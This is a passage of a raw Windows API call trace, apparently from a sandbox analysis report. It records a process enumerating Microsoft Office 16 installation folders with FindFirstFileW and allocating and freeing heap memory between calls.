Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ru\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0097.687] GetProcessHeap () returned 0x11a0000 [0097.687] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.688] GetProcessHeap () returned 0x11a0000 [0097.688] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.688] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sk\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b288 [0097.695] GetProcessHeap () returned 0x11a0000 [0097.695] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.695] GetProcessHeap () returned 0x11a0000 [0097.695] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0097.701] GetProcessHeap () returned 0x11a0000 [0097.701] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.701] GetProcessHeap () returned 0x11a0000 [0097.701] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.701] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-cyrl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b5bbeb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b088 [0097.716] GetProcessHeap () returned 0x11a0000 [0097.716] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.716] GetProcessHeap () returned 0x11a0000 [0097.716] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.716] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-latn\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0097.721] GetProcessHeap () returned 0x11a0000 [0097.721] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.721] GetProcessHeap () returned 0x11a0000 [0097.721] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sr-Latn-CS\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b248 [0097.794] GetProcessHeap () returned 0x11a0000 [0097.794] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.795] GetProcessHeap () returned 0x11a0000 [0097.795] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.795] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\sv\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02eb98a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1681b941, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1681b941, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b108 [0097.799] GetProcessHeap () returned 0x11a0000 [0097.799] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.799] GetProcessHeap () returned 0x11a0000 [0097.799] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.799] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\th\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0097.804] GetProcessHeap () returned 0x11a0000 [0097.804] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.804] GetProcessHeap () returned 0x11a0000 [0097.804] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.804] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tr\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c40a24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16867e02, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16867e02, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b708 [0097.809] GetProcessHeap () returned 0x11a0000 [0097.809] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.809] GetProcessHeap () returned 0x11a0000 [0097.809] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b248 [0097.814] GetProcessHeap () returned 0x11a0000 [0097.814] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.814] GetProcessHeap () returned 0x11a0000 [0097.814] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf164abda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b608 [0097.819] GetProcessHeap () returned 0x11a0000 [0097.819] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.819] GetProcessHeap () returned 0x11a0000 [0097.819] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.819] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefebf763, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b608 [0097.824] GetProcessHeap () returned 0x11a0000 [0097.824] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.824] GetProcessHeap () returned 0x11a0000 [0097.824] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0097.824] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0097.828] GetProcessHeap () returned 0x11a0000 [0097.828] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0097.828] GetProcessHeap () returned 0x11a0000 [0097.828] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0097.830] GetProcessHeap () returned 0x11a0000 [0097.830] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0097.836] GetProcessHeap () returned 0x11a0000 [0097.836] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0097.836] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17728794, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17728794, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0098.328] GetProcessHeap () returned 0x11a0000 [0098.328] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.329] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x176dc2d0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8ac88 [0098.330] GetProcessHeap () returned 0x11a0000 [0098.330] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.330] GetProcessHeap () returned 0x11a0000 [0098.330] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2ad8211, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc38b3c05, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc3bd4d47, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8adc8 [0098.337] GetProcessHeap () returned 0x11a0000 [0098.337] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.337] GetProcessHeap () returned 0x11a0000 [0098.337] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0098.339] GetProcessHeap () returned 0x11a0000 [0098.339] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0098.339] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\BORDERS\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17774bfd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17774bfd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0098.355] GetProcessHeap () returned 0x11a0000 [0098.355] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0098.355] GetProcessHeap () returned 0x11a0000 [0098.355] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0098.355] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Configuration\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1774e9ab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1774e9ab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0098.383] GetProcessHeap () returned 0x11a0000 [0098.383] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0098.385] GetProcessHeap () returned 0x11a0000 [0098.385] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0098.385] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0098.387] GetProcessHeap () returned 0x11a0000 [0098.387] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.388] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\CONVERT\\1033\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec4ee541, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf477755d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4cd4a32, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b688 [0098.391] GetProcessHeap () returned 0x11a0000 [0098.391] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.391] GetProcessHeap () returned 0x11a0000 [0098.391] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0098.392] GetProcessHeap () returned 0x11a0000 [0098.392] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0098.393] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0098.393] GetProcessHeap () returned 0x11a0000 [0098.394] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.394] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d9058b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b548 [0098.394] GetProcessHeap () returned 0x11a0000 [0098.394] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0098.395] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Document Parts\\1033\\16\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d9058b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d9058b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4db6809, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0098.396] GetProcessHeap () returned 0x11a0000 [0098.396] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0098.396] GetProcessHeap () returned 0x11a0000 [0098.396] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.398] GetProcessHeap () returned 0x11a0000 [0098.398] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0098.400] GetProcessHeap () returned 0x11a0000 [0098.400] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0098.435] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xca90ec5a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xca90ec5a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0098.436] GetProcessHeap () returned 0x11a0000 [0098.436] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\FORMS\\1033\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca90ec5a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb548de7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff0bc27, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8a8c8 [0098.445] GetProcessHeap () returned 0x11a0000 [0098.445] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0098.445] GetProcessHeap () returned 0x11a0000 [0098.445] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b32770 | out: hHeap=0x11a0000) returned 1 [0098.446] GetProcessHeap () returned 0x11a0000 [0098.446] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b32770 [0098.446] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\*", lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x197a4903, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x197a4903, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11ba110 [0098.449] GetProcessHeap () returned 0x11a0000 [0098.449] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0098.449] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17ff3259, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x186355ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x186355ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8acc8 [0098.450] GetProcessHeap () returned 0x11a0000 [0098.450] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0098.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x186355ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1b0f9971, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1b0f9971, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8ad88 [0098.452] GetProcessHeap () returned 0x11a0000 [0098.452] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0098.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x347e2c0 | out: 